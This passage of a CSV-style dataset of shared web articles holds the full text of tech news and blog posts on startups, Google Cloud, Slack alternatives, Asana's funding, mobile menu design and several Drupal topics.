pic.twitter.com/Jargi7gavX - Luke Wroblewski (@lukew) March 11, 2014",en
1459346036,CONTENT SHARED,-4662020648308370136,4670267857749552625,204912088629071541,,,,HTML,http://leanstartup.co/avoid-building-bad-products-rapid-validation/,How to Avoid Building Bad Products with Rapid Validation - Lean Startup Co.,"Despite our best efforts, there are a lot of products out there that aren?t so great. We know from Lean Startup that one of the ways to avoid going down the rat hole with bad products is to be willing to fail fast, but Amir Shevat, Director of Developer Relations at Slack, former Googler and Entrepreneur, believes that there are ways to avoid building bad products in the first place. In his session at the Lean Startup Conference 2015, Amir explained how rethinking the way we experience products can help us to get feedback faster. The key is thinking about interactions with products as a conversation, and measuring how well that conversation is going. To demonstrate his point, he called a member of the audience up to the stage, said ?hello? and then promptly asked for the man?s personal information. The volunteer was briefly caught off guard, as anyone might be if abruptly propositioned for a phone number or address. In the context of social conversation, we can easily see that such a request is awkward, but we still build apps that immediately ask for a username and a password without first engaging the user or explaining what the user will get out of the app. Amir next quizzed the audience by presenting two user experiences that a family-photo-sharing app had tested for their sign up process. The first flow was much shorter, while the second was longer and prompted the user to add connections and post a photo. Almost the whole audience guessed that the first flow was more successful, but they turned out to be wrong. ?As Amir explained, the second flow had steps that engaged the user and drove better retention and usability. This exercise showed that people should be shown the value of the app as part of the initial conversation. Any requests for information should be part of an organic conversation or exchange, so users understand what they?re getting. It also functioned as a lesson on why it?s so important to measure customer feedback not based on what they say, but rather based on what they do within the product. Amir gave another example of this from his own experience as an entrepreneur, when he was building an app to help people meditate. He found that although people were eager to try meditation, there was a significant amount of drop off after they began actually using the app.?Asking users for feedback wasn?t providing clear answers, but observing them in conversation with the app gave better clues. He ultimately observed that the session time was too long to keep users engaged. In an experiment to dramatically shorten the duration of meditation, he got the response he?d hoped for: more engaged users. Amir noted that one important part of running experiments is actually not telling the user it?s happening. This reinforces that the in-app conversation is the ultimate source of truth. Telling the user that you?re going to run an experiment and then, for example, sending them a survey to ask if they liked it, is not as effective because it?s too far removed from their natural usage. Observing the quality of conversation between app and user is what Amir calls ?rapid validation.? Hearing from customers, getting feedback, iterating and failing fast when necessary are all key principles of Lean Startup. Focusing on empathy and conversation is a way to accelerate that process, and get to product/market fit even more efficiently. There will always be products that don?t work out and companies that don?t succeed, but using rapid validation, you save yourself from mistakes that are easily avoidable. Enjoying these stories? Never miss out on real-time updates and learn about the hot topics in our community. Connect with us on Twitter: @leanstartup",en
1459350016,CONTENT SHARED,-4110991218639855802,-1443636648652872475,8209530310193218854,,,,HTML,http://venturebeat.com/2015/11/27/5-open-source-alternatives-to-slack/,5 open-source alternatives to Slack,"Slack, the team communication app, went down earlier this week, sending people to Twitter to commiserate. So what if the startup is valued at $2.8 billion ? It's still a web service, and web services have outages sometimes. Of course, there is Internet relay chat (IRC), but that's a protocol. Ultimately Slack can be thought of as a hosted and souped-up IRC client, and there are plenty of other ones to choose from. Here are five full-featured Slack alternatives - tools that go beyond IRC, in other words - that are open-source software, which means you can download it and run it on whatever server you want. That implies that you're in charge of security, for better or worse, instead of, say, Slack. This tool emerged earlier this year, Friends stands out for its ability to let people communicate with others on the same local network, even when there's no Internet connection. Based on the XMPP messaging protocol, Kaiwa was released earlier this year by French software development shop Digicoop. Available under a GNU AGPL license, Mattermost the platform has been selected by startup GitLab to ship alongside its eponymous open-source code-repository software. Mattermost the company is preparing to launch an enterprise-grade version of the open-source software. Established earlier in 2015, Rocket.Chat has a wide range of capabilities, like file sharing, video conferencing, and service-desk messaging. Dropbox acquired the team behind Zulip last year and released the Zulip software under an Apache license this past September. There are other options out there, but these have gotten traction in the open-source world, so they'll probably continue to be around for a while. Slack itself has not open-sourced its own client. If that changes, I will of course add it to this list.",en
1459350038,CONTENT SHARED,1964631817676172382,3891637997717104548,1776955132850411647,,,,HTML,https://cloudplatform.googleblog.com/2016/03/IAM-best-practice-guides-available-now.html,IAM best practice guides available now,"Google Cloud Identity & Access Managemen t (IAM) service gives you additional capabilities to secure access to your Google Cloud Platform resources. To assist you when designing your IAM strategy, we've created a set of best practice guides. The best practices guides include: The "" Using IAM Securely "" guide will help you to implement IAM controls securely by providing a checklist of best practices for the most common areas of concern when using IAM. It categorizes best practices into four sections: Least privilege - A set of checks that assist you in restricting your users or applications to not do more than they're supposed to. Managing Service Accounts and Service Account keys - Provides pointers to help you manage both securely. Auditing - This covers practices that include reminding you to use Audit logs and cloud logging roles Policy Management - Some checks to ensure that you're implementing and managing your policies appropriately. Cloud Platform resources are organized hierarchically and IAM policies can propagate down the structure. You're able to set IAM policies at the following levels of the resource hierarchy: Organization level . The Organization resource represents your company. IAM roles granted at this level are inherited by all resources under the organization. Project level . Projects represent a trust boundary within your company. Services within the same project have a default level of trust. For example, App Engine instances can access Cloud storage buckets within the same project. IAM roles granted at the project level are inherited by resources within that project. Resource level . In addition to the existing Google Cloud Storage and Google BigQuery ACL systems, additional resources such as Google Genomics Datasets and Google Cloud Pub/Sub topics support resource-level roles so that you can grant certain users permission to a single resource. The diagram below illustrates an example of a Cloud Platform resource hierarchy: The "" Designing Resource Hierarchies "" guide provides examples of what this means in practice and has a handy checklist to double-check that you're following best practice. A Service Account is a special type of Google account that belongs to your application or a virtual machine (VM), instead of to an individual end user. The "" Understanding Service Accounts "" guide provides answers to the most common questions, like: What resources can the service account access? What permissions does it need? Where will the code assuming the identity of the service account be running: on Google Cloud Platform or on-premises? This guide discusses what the implications are of making certain decisions so that you have enough information to use Service Accounts safely and efficiently. We'll be producing more IAM best practice guides and are keen to hear from customers using IAM or wanting to use IAM on what additional content would be helpful. We're also keen to hear if there are curated roles we haven't thought of. We want Cloud Platform to be the most secure and the easiest cloud to use so your feedback is important to us and helps us shape our approach. Please share your feedback with us at: GCP-iam-feedback@google.com - Posted by Grace Mollison, Solutions Architect",en
1459352135,CONTENT SHARED,5156657166068502754,2416280733544962613,-2881817783086620927,,,,HTML,http://www.nytimes.com/2016/03/24/technology/google-showcases-its-cloud-efforts-determined-to-catch-up-to-rivals.html,"Google Showcases Its Cloud Efforts, Determined to Catch Up to Rivals","In the cloud computing business, Google's technology prowess is rarely questioned. Its commitment, however, has been doubted. Google, which trails Amazon and Microsoft in the fast-growing market, hopes to change the industry perception that it is halfhearted about its cloud computing service with product announcements, technology demonstrations and strategy briefings at a two-day conference in San Francisco that began on Wednesday. The company is showcasing its cloud software for machine learning, a branch of artificial intelligence. It has a new speech service: Feed in audio, and the software issues a transcript. Its recently introduced vision service for identifying images also will be more broadly available soon, Google said. And new tools and training aids are available to help developers build machine-learning applications more easily. These are the first significant steps since Diane B. Greene, a respected Silicon Valley technologist, became senior vice president in charge of Google's cloud business in November. Ms. Greene is a co-founder and former chief executive of VMware, whose software is widely used in corporate data centers. She knows the enterprise computing business, which has not been Google's strength. The new cloud offerings after Ms. Greene's appointment signal the company's intent, analysts say. ""Google finally wants to compete in the cloud for enterprise business,"" said Mike Gualtieri, an analyst at Forrester Research. Having technology is only one ingredient in the corporate marketplace, analysts note. Marketing, training and customer service are also important to win businesses. ""We've got to get really good at communications and training,"" Ms. Greene said in an interview. In the corporate cloud business, Google must address a wide range of customers and requirements, she said. For many, a purely online relationship will be fine, she said, while others want hands-on assistance. For labor-intensive projects, Google will work through partners, she said. The company has no intention of building its own consulting arm. ""That's not what Google does,"" said Ms. Greene, who, since 2012, has been a board member of Google and then its parent company, Alphabet , which was established last year. But Google plans to step up training and certification programs, again working through industry partners to expand that effort. ""We'll train the trainers,"" she explained. Traditionally, technology companies have hired armies of sales representatives who have sold corporations expensive software that resided in their data centers. That business still exists, but it is eroding rapidly as cloud software, with its pay-for-use model, becomes mainstream. Cloud software, Ms. Greene said, is redefining the relationship corporate customers have with technology companies. ""Nobody has figured it out yet,"" she said. ""But it has to span the spectrum from self-service to high touch."" The essence of Google's appeal to customers and industry partners, is that ""you sign up for keeping pace with Google's technology development,"" Ms. Greene said. Wix, an online service for building websites, has been using Google's vision service recently. It lets users search the many thousands of images Wix has in its database. Creating an online jewelry commerce site? Search the Wix digital library of unlabeled, stock photos for ""pearls"" and ""diamond rings,"" and Google software finds those images. ""It's pretty amazing,"" said David Zuckerman, head of the developer experience at Wix. ""The neat thing is that the users never know they are using artificial intelligence."" Wix runs its sizable business on the cloud, and it uses the cloud services of Google, Amazon and Microsoft. Mr. Zuckerman welcomes vigorous competition among the three, which should insure lower prices and better deal terms. Recognizing it is the underdog, Google is starting to try harder with better support and terms, Mr. Zuckerman said. ""I feel a closer relationship with Google, probably because it is not the king in this space,"" he said.",en
1459354504,CONTENT SHARED,-4102297002729307038,3891637997717104548,1776955132850411647,,,,HTML,http://www.mediacurrent.com/blog/acquia-dev-desktop-for-beginners,Acquia's Dev Desktop - a Drupal server for beginners,"Web development can be complicated. When it comes to contributing to Drupal, either on one's own time or as part of a job, one of the biggest problems beginners have is getting all of the tools working correctly. It can also be a source of frustration to people with plenty of experience too - maybe they would prefer to put time into writing witty blog posts, designing the perfect rounded corner, or throwing snowballs with their children, rather than dealing with server configuration haiku. AMPing up web development A typical website system requires an operating system, e.g. Linux is good for a server's OS, a web server program, e.g. Apache HTTP Server or nginx , a database, e.g. MySQL , MariaDB or PostgreSQL , and a programming language for gluing it all together, like PHP , Python , Ruby , etc. When these collections of software started gaining popularity during the early 2000's, by far the most popular combination was Linux, Apache HTTP Server, MySQL and PHP, which became known as a ""LAMP stack"". While Drupal requires the PHP part of the ""LAMP"" equation, the other parts can be swapped out for alternatives. The most commonly replaced element is the operating system - not everyone wants to run Linux on their computer just to work with web site software. This then results in ""WAMP"" to describe running the tools on Windows, ""MAMP"" for running them on a Mac, etc. To simplify describing these different possibilities it is common to remove the first letter, resulting in the more general phrase ""AMP stack"" or *AMP stack (the asterisk is a wildcard, i.e. it fills in for ""L"", ""W"", ""M"" or whatever). Configurable complexity As these systems are designed to be flexible, each component will have its own settings files that need to be configured *just so* in order for them to work correctly. Each program will have its own collection of configuration files, each file may (and probably will) have a different syntax, a different location, a different set of additional shared library files that also need to be in the right directory with the right filename, and each release of the tools can change these in obscure ways. Working through the manual configuration of all of these can take a good deal of time, especially when one small mistake can, and has, ruined many a good week for many, many people. Clearly, the amount of configuration necessary to get everything running together in a cohesive manner can be daunting for someone with extensive server configuration experience, never mind a beginner. Thankfully many people realized the need to simplify and streamline this motley crew and put together packaged systems that contained all of the necessary components to run an AMP stack on someone's existing computer. There are a number of suitable packages available today, popular ones include WampServer for Windows, MAMP for OSX, and, thankfully, all Linux distributions have all of the tools readily available through their system software manager already. Taking this one step further, Mediacurrent's partner Acquia built their own AMP stack, called Acquia Dev Desktop that provides extra gravy on top of the average AMP meal and is well worth using, for beginners and seasoned developers alike. But what about Docker, DrupalVM, etc? A step beyond the easily installable AMP stack is something like Docker or DrupalVM . These don't just install a web server, database and programming language on a computer, they install a whole virtual computer inside another one, system kernel and all! These can be a great way of simplifying the steps to configure additional software, e.g. reverse-proxy caching using Varnish , custom search engine applications like Apache Solr , etc. They can also provide a (close-to) 1:1 copy of a production website's operating system, down to the very same shared library revisions and everything, with much less effort than ordering some hardware from Cheap Servers 'R Us. However, there's currently more effort required to install and manage these, including what can be hundreds of megabytes of operating system installation files that need to be downloaded per project, in addition to the website project's actual codebase, database and files. Not everyone has the bandwidth to deal with downloading such large installation files, or disk space for another 5gb virtual operating system installation on their computer. There can also be problems running several virtual systems at once - it might be necessary to specifically stop one virtual machine before starting up another. This continues to add more hassle to working on a project than many may wish to deal with. Lastly, while there are many great options available to do this. At the time of writing there are several competing standards available with no one standard achieving significantly more support in the Drupal community than others. This can leave a person needing to be familiar using several web platforms on their computer as different website projects use different tools, which can quickly reduce the benefits of standardizing the tools. It is for these reasons that this article will focus on simpler tools. 9 Reasons to use Dev Desktop There are several reasons why Dev Desktop makes a good starting point for contributing to Drupal: The package runs on Windows *and* Mac OS X. Given that most companies, and people, use one of these operating systems for their day-to-day work (and evening work, and weekend work, and other projects), having the same software available for both can greatly simplify an organization's need to standardize on a single software title for both platforms. This simplifies an organization's toolset, ensures that team members can help and learn from each other, and save time from having to wait for ""The IT Crew"" to show which buttons to click; all three will save a company's staff time, thus making them more productive overall. The interface hides the majority of the complexities that most don't need to deal with - it just works! All the complex pieces are still available if needed, but they can be safely ignored most of the time - there's just one program visible to the computer's user, and it takes care of the detail. When Dev Desktop isn't being used it can be turned off, which turns off the Apache and MySQL server programs. This saves memory, processing power, and battery life on the computer. It makes it super easy to spin up fresh copies of Drupal core or different distributions to test out modules, themes and patches in environments isolated from other sites that might be installed locally. It takes out the pain of setting up the database and its access permissions for each local Drupal install, which is always a tricky step for beginners. It comes with several versions of PHP and each site installed on the computer can be set up to use a different version, and then changed to a different version with just a few mouse clicks! This takes all of the pain out of testing something with both old and new releases of PHP. It is rather popular amongst Drupalists of all skill levels, ensuring that help might not be too far away if and when needed. The software can connect to an Acquia web hosting ""cloud"" account to download entire copies of production websites with a few clicks, and then changes can be uploaded again. With button clicks. Magic! Dev Desktop isn't limited to working with sites that are hosted with Acquia, so it can be used to work on sites hosted on Pantheon , Platform.sh , CMS Farm , etc, in fact any web hosting platform. Obviously these services won't have the tight integration that Acquia's own has, but it won't prevent them from being used. Give it a try Now that I've explained what AMP stacks are, and what Dev Desktop is, give it a try . The next article in this series will explain how to set up Acquia Dev Desktop so it can be used to contribute to Drupal core and contrib issues. Additional Resources Your Drupal Site is a Platform | Blog Post How to Streamline a Vagrant Workflow with Vagrant- Exec | Blog Post Dev Hacks: My Other Office | Blog Post",en
1459354676,CONTENT SHARED,2093656054622337275,-1032019229384696495,-1858408872346331823,,,,HTML,https://developers.googleblog.com/2016/03/introducing-google-api-console.html,Introducing the Google API Console,"Every day, hundreds of thousands of developers send millions of requests to Google APIs, from Maps to YouTube . Thousands of developers visit the console for credentials, quota, and more -- and we want to give them a better and more streamlined experience. Starting today, we'll gradually roll out the API Console at console.developers.google.com focusing entirely on your Google API experience. There, you'll find a significantly cleaner, simpler interface: instead of 20+ sections in the navigation bar, you'll see API Manager, Billing and Permissions only: Figure 1: API Console home page Figure 2: Navigation section for API Console console.cloud.google.com will remain unchanged. It'll point to Cloud console, which includes the entire suite of Google Cloud Platform services, just like before. And while the two are different destinations, your underlying resources remain the same: projects created on Cloud Console will still be accessible on API Console, and vice versa. The purpose of the new API Console is to let you complete common API-related tasks quickly. For instance, we know that once you enable an API in a new project, the next step is usually to create credentials. That's why we've built the credentials wizard: a quick and convenient way for you to figure out what kind of credentials you need, and add them right after enabling an API: Figure 3: After enabling an API, you're prompted to go to Credentials Figure 4: Credentials wizard Over time, we will continue to tailor the API Console experience for the many developers out there who use Google's APIs. So if you're one of these users, we encourage you to try out API Console and use the feedback button to let us know what you think!",en
1459354797,CONTENT SHARED,9122627895188486603,-1032019229384696495,-1858408872346331823,,,,HTML,http://techcrunch.com/2016/03/30/task-management-app-asana-raises-50m-at-a-600m-valuation-led-by-ycs-sam-altman/,Task management app Asana raises $50M at a $600M valuation led by YC's Sam Altman,"Asana , an enterprise app that lets people set and track projects and other goals, has hit a goal of its own: today, the company is announcing that it has raised $50 million. The Series C round - led by Y-Combinator's Sam Altman - values the company at $600 million, the company tells me. As a bit of context, Asana last raised $28 million in 2012; that Series B was at a $280 million valuation , according to our sources. Co-founded in 2009 by Facebook co-founder Dustin Moskovitz and early FB employee Justin Rosenstein out of the belief, in their own words, that ""every team in the world is capable of accomplishing bigger goals, and that software could help empower them to drive work forward with more ease, clarity, and accountability,"" the company will be using the funds to continue building out Asana's functionality (more on that below) and also expand its customer base internationally (it's largely a US-based list of clients today). Asana today has 13,000 paying businesses as customers, up from 10,000 in September, and over 140,000 businesses using the product overall adding some 10,000 every month. The company has both free and premium tiers , with the latter charged at $8.33 per member per month for groups above 15, and for more features. The company says that for the past four years, annual recurring revenue has been ""more than doubling"", and that the company is on track to profitability in the next few years. ""This fundraising is the fuel we need to get to the next stage, and to accelerate the fulfillment of our mission,"" the founders note. In addition to Altman (who said he has wanted to invest in the company ""for a long time"") this round includes a long list of other very high-profile backers - a testament both to the founders' own pedigrees but also Asana's place as one of the more respected and used startups in the productivity/enterprise apps space. They include 8VC (Joe Lonsdale's new VC firm post Formation 8); Peter Thiel's Founders Fund (which led Asana's Series B ); Mark Zuckerberg and Priscilla Chan (respectively CEOs of Facebook and The Primary School); Tony Hsieh (Zappos' CEO and Vegas visionary); Andrew Mason (Detour CEO and Groupon co-founder); Adam D'Angelo of Quora; Aditya Agarwal and Ruchi Sanghvi; Eric Ries (Lean Startup author); Roger McNamee (Elevation Partners' founder); and Moskovitz and Rosenstein themselves. The two point out that these investors' businesses are Asana users, and the individuals use it, too, with some funny side notes. Dropbox VP Aditya Agarwal and Dropbox alum Ruchi Sanghvi ""use Asana to manage their domesticity""; and Mason's fervour, meanwhile, is so strong that he ""makes us look lukewarn on this whole Asana thing."" As more businesses move their work processes online - from creating documents and other data in apps like Quip or Google Docs or Microsoft through to communicating with each other (think Slack or Yammer) - productivity apps seem to be having a moment right now where fundraising is concerned. Just last week, BetterWorks - another platform that helps workers set and manage tasks and goals - announced a Series B of $20 million . Indeed, in addition to BetterWorks, there are others like Basecamp, Wrike and Trello all offering ways to boost productivity and help organize so-called knowledge workers (essentially, those tied to keyboards or screens to get their jobs done), making for a competitive landscape but also a sign of how there is a ripe opportunity to do more. For its part, Asana has been testing a beta of a product called Track Anything , which will essentially let people mark how they are completing tasks without them having to do the legwork. This is a challenge that others are tackling, too.",en
1459354991,CONTENT SHARED,1933229167501870037,-9016528795238256703,-5622965263606080202,,,,HTML,https://uxplanet.org/perfect-menu-for-mobile-apps-39b2cb5b7377?gi=f7f2505d5e95,Perfect Menu for Mobile Apps - UX Planet,"Perfect Menu for Mobile Apps In both applications and sites, users rely on menus to find content and use features. Menus are so important that you can find them in every site or app you encounter, but not all menus are created equally. Too often we face problems with menus - part of menus are confusing, difficult to manipulate, or simply hard to find. Make It Visible At lot of posts have been written about the hamburger menu and arguing against it. That little three-lined button is the devil. And it's not about the icon itself but rather about hiding the navigation behind an icon . Out of Sight, Out of Mind Hidden navigation is a pretty obvious solution for small screens- you don't have to worry about the limited screen estate, just place your whole navigation into a scrollable drawer that is hidden by default. But hamburger buttons are less efficient , since you have to tap once before you're even allowed to see the option you want. In Sight, In Mind Interaction theory, A/B tests, and the evolution of some of the top apps in the world show that exposing menu options in a more visible way engagement and user satisfaction . That's why many apps are shifting from hamburger menus towards making the most relevant navigation options always visible. YouTube makes main pieces of core functionality available with one tap, allows rapid switching between features. There are also clever ways to make the tab bar disappear when it's not in use . If the screen is a scrolling feed, the tab bar can be hidden when people scrolling for new content and revealed if they start pulling down trying to get back to the top. Last but not least, many designers make the mistake of putting their sorting items in a dropdown menu. But this led to the same problem - users only see the selected option, while the other sorting options are hidden. Toggle button example for iOS: Takeaway: Many apps still use the hamburger because it's an easy way to jam a ton of links into an app. But it's wrong direction because if your navigation is complex, hiding it does not make it mobile friendly. Communicate the Current Location Failing to indicate the current location is probably the single most common mistake to see on site or apps menus. ""Where am I?"" is one of the fundamental questions users need to answer to successfully navigate. Users rely on visual cues from menus to answer this critical question. But sometimes what they see isn't what they actually expect to see. Icons There are a universal icons that users know well, mostly those representing functionality like search, email, print and so on. Unfortunately ""universal"" icons are rare. And app designers often hide functionality behind icons that are actually pretty hard to recognize. I've highlighted this problem in this post . Colors Current state can be directly presented in the tab bar using contrasting colors and properly selected label. Good example for color selection. Takeaway: Properly selected i cons and colors can help users understand the current location. If you use icons, always have them usability tested . Coordinate Menus with User Tasks You should use only understandable link labels . Figure out what users are looking for, and use category labels that are familiar and relevant for your target audience. Menus are not the place to get cute with internal jargon. So stick to terminology that clearly describes your content and features. Users love mobile apps that nail a specific use case really quickly. And you can reduce the amount of time users need to spend understanding menus. Complex features should always be displayed with a proper text label. Takeaway: Menu elements should be easy to scan. Users should be able to understand what exactly happens when they tap on a element. Make It Easy to Manipulate Elements that are too small or too close together are a huge source of frustration for mobile users. So make menu links big enough to be easily tapped or clicked. An MIT Touch Lab study found that the average width of the index finger is 1.6 to 2 cm for most adults. This converts to 45-57 pixels. A touch target that's 45-57 pixels wide allows the user's finger to fit snugly inside the target and provides them with clear visual feedback that they're hitting the target accurately. Takeaway: Menu should have finger-friendly design. Matching your touch target sizes to the average finger size improves mobile usability for many users. Conclusion Helping users navigate should be a high priority for almost every site and application. The goal behind this moments is to create an interaction system that naturally aligns with the user's mental models. Simple user flows, clear visuals, and forgiving design help create the illusion that the user's abilities allowed for a seamless experience. And your interaction system should aim to address problems for your users through clear visual communication. You're designing for your users . The easier your product is for them to use, the more likely they'll be to use it. Thank you!",en
1459355624,CONTENT SHARED,7528802258213768379,3891637997717104548,1776955132850411647,,,,HTML,https://www.drupal.org/project/paragraphs,Paragraphs,"Overview Paragraphs is the new way of content creation! It allows you - Site Builders - to make things cleaner so that you can give more editing power to your end-users. Instead of putting all their content in one WYSIWYG body field including images and videos, end-users can now choose on-the-fly between pre-defined Paragraph Types independent from one another. Paragraph Types can be anything you want from a simple text block or image to a complex and configurable slideshow. Paragraphs module comes with a new ""paragraphs"" field type that works like Entity Reference's. Simply add a new paragraphs field on any Content Type you want and choose which Paragraph Types should be available to end-users. They can then add as many Paragraph items as you allowed them to and reorder them at will. Paragraphs module does not come with any default Paragraph Types but since they are basic Drupal Entities you can have complete control over what fields they should be composed of and what they should look like through the typical Drupal Manage Fields and Manage Display screens. You can also add custom option fields and do conditional coding in your CSS, JS and preprocess functions so that end-users can have more control over the look and feel of each item. This is way much cleaner and stable than adding inline CSS or classes inside the body field's source. So... what's it gonna be? Accordions, Tabs, Slideshows, Masonry galleries, Parallax backgrounds...? Think big! Some more examples: Add a block of text with an image left to it Add a slideshow between blocks of text Add a youtube embed between your text Add quotes between your content blocks Features This module has some overlapping functionality with field_collection, but this module has some advantages over field_collection. Different fields per paragraph bundle Using different paragraph bundles in a single paragraph field Displays per paragraph bundle Bundles are exportable with features. Entities, so: exportable field bases/instances, usable in Search API, usable in Views Related modules Demo sites Drupal 7 See this page for the Drupal 7 information and documentation. Requirements Known issues Node Clone does not work well with Paragraphs, see #2394313 Fixed in RC1 Drupal 8 A Drupal 8 version has been created. The Drupal 8 version currently has the same functionality as the Drupal 7 module. Version 8.x-1.0-rc4 is compatible with Drupal 8.0.0. See this page for the Drupal 8 information and documentation. Requirements Credits Paragraphs is developed and maintained by .VDMi/ ; Drupal shop in Rotterdam, The Netherlands Paragraphs logo by Nico Grienauer (Grienauer) .",en
1459355695,CONTENT REMOVED,8078873160882064481,3891637997717104548,1776955132850411647,,,,HTML,http://buytaert.net/white-house-deepens-its-commitment-to-open-source,Dries Buytaert,"White House deepens its commitment to Open Source Yesterday, the White House announced a plan to deepen its commitment to open source . Under this plan, new, custom-developed government software must be made available for use across other federal agencies, and a portion of all projects must be made open source and shared with the public. This plan will make it much easier to share best practices, collaborate, and save money across different government departments. However, there are still some questions to address. In good open source style, the White House is inviting developers to comment on this policy. As the Drupal community we should take advantage and comment on GitHub within the 30-day feedback window. The White House has a long open source history with Drupal . In October 2009, WhiteHouse.gov relaunched on Drupal and shortly thereafter started to actively contribute back to Drupal -- both were a first in the history of the White House. White House's contributions to Drupal include the ""We the People"" petitions platform , which was adopted by other governments and organizations around the world. This week's policy is big news because it will push open source deeper into the roots of the U.S. government, requiring more government agencies to become active open source contributors. We'll be able to solve problems faster and, together, build better software for citizens across the U.S. I'm excited to see how this plays out in the coming months! Updates from Dries straight to your mailbox",en
1459355897,CONTENT SHARED,-9083294960368598209,3891637997717104548,1776955132850411647,,,,HTML,https://dev.acquia.com/blog/drupal-howto-responsive-or-adaptive-images/04/03/2016/9796,Drupal How-To: Responsive or Adaptive Images? | Acquia,"In this 3-part Drupal How-To series, I'm going to show you how various options for configuring images on your site. In Part 1 , we looked at how to tweak the default image options. In Part 2 , we saw ways to allow inline images. In this post, I'll discuss the various options for responsive/adaptive images on your site. Though I'm writing for beginners to Drupal, I assume you're aware of responsive design and of course you've read my first two blog posts so you also understand how Drupal handles images. If you're not sure, check out this info to start: The image problem Creating any website is an obstacle course, but taking the responsive route means you'll run into a few tricky turns: tables, grids, images are pose problems when you try to use the same content across different browser widths. Images pose the biggest problem because not only does a image need to resize, in some cases you need a totally different proportion, and of course, you don't want to serve up a large desktop-sharp image to a 320px mobile device over a 3g connection. Also, the size of the image isn't neccessarily related to the width of the device, but the container around it. Below, I've made an illustration of the image problem with an example 3-column website with a wide lead image. You can see how you could compromise somewhat on the images across your desktop, laptop and tablet. Perhaps you could use CSS to resize the images where there is only a small difference. Media queries check the dimensions of the browser window, and allow you to set CSS specific to that browser width. However, for mobile device, a different crop of an image would be more suitable. It's bleeding-edgy Any solution for so-called fluid images, responsive images, or adaptive images right now is going to be a bleeding-edge case. That means it's likely to be fragile and need tweaking and updates. Here's a good round up of related articles on the topic. The Responsive Images Community Group has proposed the new <picture> element as a solution . This would allow the markup to specify multiple image sources, and display the appropriate one based on specific browser widths, and then rely on a ""fallback"" in any other case. The proposed markup would look something like this: The proposal has been in development since last year, though it was only decided in October 2012 to postpone work to get it into the official HTML 5 specification. The proposal is a ""living document"" with frequent updates and changes. Because no browsers can render the proposed new picture element, solutions are cropping up to solve the problem with JavaScript. See, for example, the jQuery Picture script. In that case you wrap a fallback image in a <noscript> element. This degrades nicely for older browsers. So what are the options? There are lots of quick hacks you can use. For our Movember page , we whipped up a scalable vector image (SVG) and used CSS to resize it depending on the browser width. But that isn't going to work in many cases where you need a specifically different image. Evan Scheingross has a good demo of Evan Marcotte's recommendation to dynamically resize an image based on a proportion of the browser width. (Marcotte is credited with laying the foundation for 'responsive' design in 2010 ). However, as shown in the diagram above, a tablet in portrait mode with a single column may have more space available than a laptop with sidebars. A good solution is to use server-side resizing and caching of images so you can serve up the appropriate image size as needed. Fluid, Adaptive or Responsive image solutions in Drupal Responsive themes, such as the Zen theme do take care of a certain amount of image sizing for your site applying CSS based on media queries, taking care of backward compatibility very elegantly. You'll need to choose a module, however, to give you the options for controlling what images display and when -- particularly in the case you detect a small browser width and want to display a lower resolution and smaller file size. At the bleeding edge of design in Drupal you'll see a bunch of new modules pop up proposing slightly different solutions. Over time, the community has been really good about standardizing on 1 or 2 solutions, making it easier for maintainers, and also users. Right now, the situation is so volatile with responsive images, there are a several equally good and popular solutions, each with their own caveats. There are two potential solutions: solve the image resizing on the server side or on the client side as markup. Even in the case that you use markup as the solution, you still need those alternative images available for display. However, the wider Web design community doesn't neccessarily agree that either is the right solution. The Adaptive images script by Matt Wilcox takes care of image resizing on the server side. A screencast explains: This is a PHP script which resizes and caches the images, and directs the server to hand out the right image to your viewer. It aims to work ""right out of the box."" This is overwhelmingly the most popular solution up until now, with two modules leading the pack: If we judged by popularity alone, we'd assume either of these Adaptive images was the best solution. However, there are alternative modules which give you control when you manage display of an image field on a content type. I've chosen not to list all the options here because two seem to have taken the lead. Drupal 8 is forming a clear path with the Picture module. That is already part of Drupal 8 and has been backported to Drupal 7. Though there are few sites using this module now, you can expect to see many improvements coming soon, and more sites adopting it. I drafted this blog post about 2 weeks ago, when I contributed documentation to the Picture module . I backtracked after realizing I had to cover some basics first (in Parts 1 and 2). In the meantime, Chris Ruppel at Four Kitchens has written up a blog post about this very situation. Responsive images: A Drupal solution. How the Picture module works: Check out a demo for the Drupal 7 Picture module . Inspect the source to see the markup provided. First you specify breakpoints in your theme. This defines at which widths you want to offer alternative images. The Picture module reads the configuration from your theme's .info file. Configure custom image styles if needed. Picture module provides a wizard to help you create the styles, but you'll need to set the widths. Map the image styles and set the display options for the image field. Picture provides an alternative to the ""Image"" display formatter for image fields. For me, that was the only tricky step. Read the complete tutorial on Drupal.org for the full step-by-step you need to set this up: I recommend combining the Picture module with a responsive theme such as Zen . But is it future-proof?? I always have to be really careful about what we include in our training materials. We have to recommend reliable, stable modules and trusted solutions. Right now, the Picture module seems the most future-proof solution as its inclusion in Drupal 8 (hopefully) means a smooth upgrade. Can I guarantee that a better solution won't come up in a few months? Well... not really. I'm always wary when I ask my colleagues for reports about what is happening ""in the field"", and they come up with as many responses as people I ask. My colleagues on the Acquia Professional Services team work with some of the largest brands and organizations and advanced teams of designers and developers. They see a cross-section of solutions which actually work in practice. And right now, all of my colleagues admitted they aren't seeing a lot of brands choose a responsive or adaptive image solution. That doesn't mean you shouldn't try it however. It's great to see established brands such as The Boston Globe leading the charge, and there's no reason you can't attempt it if you think it's going to enhance your user's experience. Don't forget to sign up for my training newsletter and check out our Drupal training events across the globe. Also in this series Drupal How-To: Responsive or adaptive images Drupal How-To: Basics, tweak the defaults for adding images to your site Drupal How to: Get inline images on your Drupal site.",en
1459355969,CONTENT SHARED,-6136272094613269629,3891637997717104548,1776955132850411647,,,,HTML,https://www.drupal.org/drupalorg/blog/top-10-contributing-customers,Top 10 contributing customers,"You are here We spent a lot of time thinking about how to highlight the organizations in our Marketplace that are actively contributing to the project. There are some awesome Drupal shops and hosting partners out there that are making a huge difference. Service providers that you see in the marketplace are only part of the story of how Drupal is built. Last week, we launched a new list of organizations on Drupal.org that shows every profile that has been created for an organization. This includes companies, universities, nonprofits, governments and more. These are our customers and community organizations that use Drupal to power their web experiences. By giving their developers time to contribute code back to the community, they are helping to ensure the project gets the best ideas from the most diverse group of makers and builders. While the new view shows all organizations, I was able to pull out the top 10 customers-organizations that do not sell Drupal services or hosting-and community organizations (e.g. community from a region). So who have been most active among this type of organization over the last 90 days? Examiner.com - 56 issue credits Pfizer - 29 issue credits Freitag - 19 issue credits Drupal Ukraine Community - 17 issue credits ARTE G.E.I.E. - 15 issue credits University of Waterloo - 13 issue credits Card.com - 13 issue credits Gemeente Venlo - 11 issue credits Dennis Publishing - 9 issue credits (and they are Drupal Association members to boot!) NBCUniversal - 7 issue credits Check out the full list of every organization with a profile on Drupal.org. Keep in 